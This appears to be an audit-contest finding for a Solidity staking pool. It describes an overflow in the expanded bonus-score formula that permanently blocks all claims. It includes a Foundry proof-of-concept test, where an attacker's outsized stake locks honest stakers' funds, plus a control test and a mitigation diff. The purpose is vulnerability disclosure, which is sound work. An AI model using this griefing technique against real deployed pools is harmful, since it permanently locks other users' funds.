FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

Expanded k=2 score in `_bonusShare` overflows the frozen global snapshot, permanently locking every claim (checked-arithmetic DoS)

Author Revealed upon completion

Description

  • _bonusShare computes each staker's share of the bonus pool from a k=2 confidence score. The score is evaluated in an algebraically expanded moment form — T²·stake + Σamount·entry² − 2T·Σamount·entry — that is mathematically equal to the compact Σ amount·(T − entry)². The global score used as the shared denominator is snapshotted at flagOutcome and reused by every claimant.

  • Because the expanded intermediate T²·snapshotTotalStaked + snapshotSumStakeTimeSq is evaluated with Solidity 0.8 checked arithmetic, a single large-magnitude stake makes that term exceed 2²⁵⁶ and revert Panic(0x11), even though the equivalent compact score fits in uint256 with enormous headroom. The poisoned value lives in the frozen global snapshot, so every claimSurvived() / claimExpired() reverts permanently. Nothing caps aggregate stake magnitude at deposit time.

// src/ConfidencePool.sol:704-719
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq; // overflows before mulDiv runs
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
@> return Math.mulDiv(userScore, snapshotTotalBonus, globalScore); // mulDiv only guards the FINAL multiply

The raw moments are recorded at stake time with checked multiplication (src/ConfidencePool.sol:252-260); recording stays representable (A·S² fits for the witness, so the deposit is accepted), and the overflow surfaces only later, in the expanded claim-time score.

Risk

Likelihood:

  • When one pool accumulates an aggregate eligible stake of roughly 1.89e58 base units, so that T²·snapshotTotalStaked + snapshotSumStakeTimeSq = (A+V)·(2S² + 2S + 1) crosses 2²⁵⁶ − 1 at timestamp-scale entry times (S ≈ 1.75e9).

  • When the pool's token is allowlisted with high decimals — the factory gates only on a boolean allowlist and imposes no decimals ceiling (ConfidencePoolFactory.sol:77,155). Trust-model caveat: at 18 decimals this needs ~1.9e40 whole tokens (economically unreachable); it becomes reachable only when the trusted factory owner allowlists an exotic >54-decimal ERC20 (1.9e4 tokens at 54 decimals, ~0.019 token at 60), the same token-curation responsibility the allowlist already carries for fee-on-transfer / rebasing assets. This is why the finding is filed as Low rather than Medium.

Impact:

  • All honest principal + bonus in a SURVIVED or EXPIRED pool become permanently unclaimable: withdraw() is closed once outcome is set (ConfidencePool.sol:289), and sweepUnclaimedBonus reserves totalEligibleStake + (snapshotTotalBonus − claimedBonus) (483-487) → amount == 0 → NothingToSweep. The clone is non-upgradeable, so funds are permanently stuck.

  • Pure griefing / DoS, not extraction: the attacker locks its own outsized stake too, so the poisoned denominator reverts even honest stakers whose own score is tiny (the correct compact global score (A+V)·(T−S)² = A+V ≈ 1.89e58 fits trivially).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {stdError} from "forge-std/StdError.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @notice M-01 validation: the k=2 bonus score is evaluated in an ALGEBRAICALLY EXPANDED form
/// (`T^2*stake + Σamount*entry^2 - 2T*Σamount*entry`) whose intermediate terms can overflow uint256
/// even though the mathematically-equivalent compact score `Σ amount*(T-entry)^2` fits easily.
/// Because Solidity 0.8 checked arithmetic reverts on overflow, a single large-magnitude stake
/// poisons the frozen global snapshot and makes EVERY `claimSurvived`/`claimExpired` revert — a
/// permanent, unrecoverable DoS on a non-upgradeable clone (withdrawals are already closed and the
/// sweep path reserves outstanding liabilities).
///
/// Reachability is purely about raw base-unit magnitude, not token count: the witness below is
/// ~1.89e58 base units. At 18 decimals that is an economically absurd ~1.9e40 tokens, but the
/// factory allowlist (`ConfidencePoolFactory.sol:77,155`) imposes NO decimals ceiling, so at ~54
/// decimals it is ~1.9e4 tokens and at ~60 decimals only ~0.019 token — i.e. reachable if a
/// high-decimal (still fee-free, non-rebasing) ERC20 is ever allowlisted. This test proves the
/// mechanism with raw base units; the decimals framing is the economic-reachability argument.
contract M01ScoreOverflowDoSTest is Test {
uint256 internal constant S = 1_750_000_000;
uint256 internal constant T = S + 1;
uint256 internal constant ONE = 1e18;
uint256 internal constant HONEST = 1e18; // V
// Witness from SECURITY-ISSUES.md (M-01): aggregate magnitude whose EXPANDED score overflows.
uint256 internal constant ATTACKER = 18_904_830_885_085_597_927_651_683_490_093_292_687_394_575_799_129_184_662_059; // A
uint256 internal constant BONUS = 1; // one base unit is enough to enter _bonusShare
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
address internal trustedSetup = makeAddr("trusted setup");
address internal registryOp = makeAddr("registry operator");
address internal outcomeModerator = makeAddr("outcome moderator");
address internal recovery = makeAddr("recovery");
address internal poolOwner = makeAddr("pool owner");
address internal honest = makeAddr("honest staker");
address internal attacker = makeAddr("attacker staker");
address internal contributor = makeAddr("bonus contributor");
address internal observer = makeAddr("permissionless observer");
MockERC20 internal token;
MockAttackRegistry internal registry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePool internal pool;
/// @dev EXPLOIT: a large-magnitude stake makes the frozen global score overflow, so the honest
/// staker can never claim — principal permanently locked.
function test_M01_ExpandedScoreOverflow_LocksAllClaims() external {
_deployAndFund(true);
// Resolve SURVIVED at T.
vm.warp(T);
_setRegistryState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(outcomeModerator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.outcomeFlaggedAt(), T, "T pinned to terminal endpoint");
assertEq(pool.snapshotTotalStaked(), ATTACKER + HONEST, "global snapshot carries the large magnitude");
// The mathematically-correct global score fits in uint256 with enormous headroom:
// Σ amount*(T-entry)^2 = (A+V)*(T-S)^2 = (A+V)*1 = A+V (~1.89e58 << 2^256)
uint256 compactGlobalScore = (ATTACKER + HONEST) * (T - S) * (T - S);
assertLt(compactGlobalScore, type(uint256).max, "compact score fits trivially");
console2.log("compact (correct) global score fits; value ~1.89e58:", compactGlobalScore);
// Yet the EXPANDED global score `T*T*snapshotTotalStaked + snapshotSumStakeTimeSq` overflows,
// so the honest staker's claim reverts with an arithmetic panic. Principal is locked.
vm.prank(honest);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
// The attacker's own claim is poisoned too (griefing/DoS, not extraction — its stake is stuck).
vm.prank(attacker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
console2.log("EXPLOIT: every claimSurvived reverts (Panic 0x11); principal permanently locked");
}
/// @dev CONTROL: the identical pool WITHOUT the large-magnitude stake resolves and pays normally,
/// isolating the overflow to the expanded-representation of the outsized position.
function test_M01_Control_NormalMagnitude_ClaimsSucceed() external {
_deployAndFund(false);
vm.warp(T);
_setRegistryState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(outcomeModerator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 before = token.balanceOf(honest);
vm.prank(honest);
pool.claimSurvived();
uint256 payout = token.balanceOf(honest) - before;
assertEq(payout, HONEST + BONUS, "CONTROL: honest staker recovers principal + full bonus");
console2.log("CONTROL: honest claim succeeds, payout", payout);
}
/// @param withAttacker include the large-magnitude stake that triggers the overflow.
function _deployAndFund(bool withAttacker) internal {
vm.warp(S);
token = new MockERC20();
registry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(trustedSetup);
vm.startPrank(trustedSetup);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(registry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
registry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
vm.stopPrank();
pool = ConfidencePool(Clones.clone(address(new ConfidencePool())));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
outcomeModerator,
S + 31 days,
1, // minStake = 1 base unit
recovery,
poolOwner,
scope
);
_stake(honest, HONEST);
if (withAttacker) _stake(attacker, ATTACKER);
_contributeBonus(contributor, BONUS);
// Seal an active-risk window so bonus is actually owed (otherwise _bonusShare returns 0).
_setRegistryState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(observer);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), S, "risk window opened at S");
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _setRegistryState(IAttackRegistry.ContractState state) internal {
vm.prank(registryOp);
registry.setAgreementState(state);
}
}

The control test test_M01_Control_NormalMagnitude_ClaimsSucceed runs the identical pool without the outsized stake and pays the honest staker V + bonus normally, isolating the overflow to the expanded representation of the large position.

Recommended Mitigation

Bound aggregate eligible stake at deposit time so the expanded terms cannot overflow for any T ≤ expiry (a cheap, conservative alternative to evaluating the score in exact 512-bit arithmetic or storing time moments relative to a bounded origin):

uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
+ uint256 expiry_ = uint256(expiry);
+ uint256 maxTotalStake = type(uint256).max / (2 * expiry_ * expiry_);
+ if (totalEligibleStake > maxTotalStake || received > maxTotalStake - totalEligibleStake) {
+ revert StakeMagnitudeTooLarge();
+ }
+
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;

The factor of two bounds both positive terms and the doubled first-moment term for all T and entry times ≤ expiry; add boundary tests before adoption.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!